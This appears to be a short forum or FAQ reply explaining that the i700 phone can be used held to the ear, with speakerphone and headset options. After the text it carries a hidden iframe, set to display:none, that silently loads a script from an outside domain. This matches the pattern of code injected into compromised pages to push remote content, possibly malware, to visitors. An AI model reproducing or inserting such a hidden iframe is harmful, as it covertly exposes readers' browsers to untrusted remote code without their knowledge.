Yes, you can use the i700 like a normal phone by holding it to your ear. Contrary to early reports, the current version of the i700 does not have the mic and speaker on the back... it is on the face like any other phone.

Other options for using the phone include a speakerphone option and the use of a headset.<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>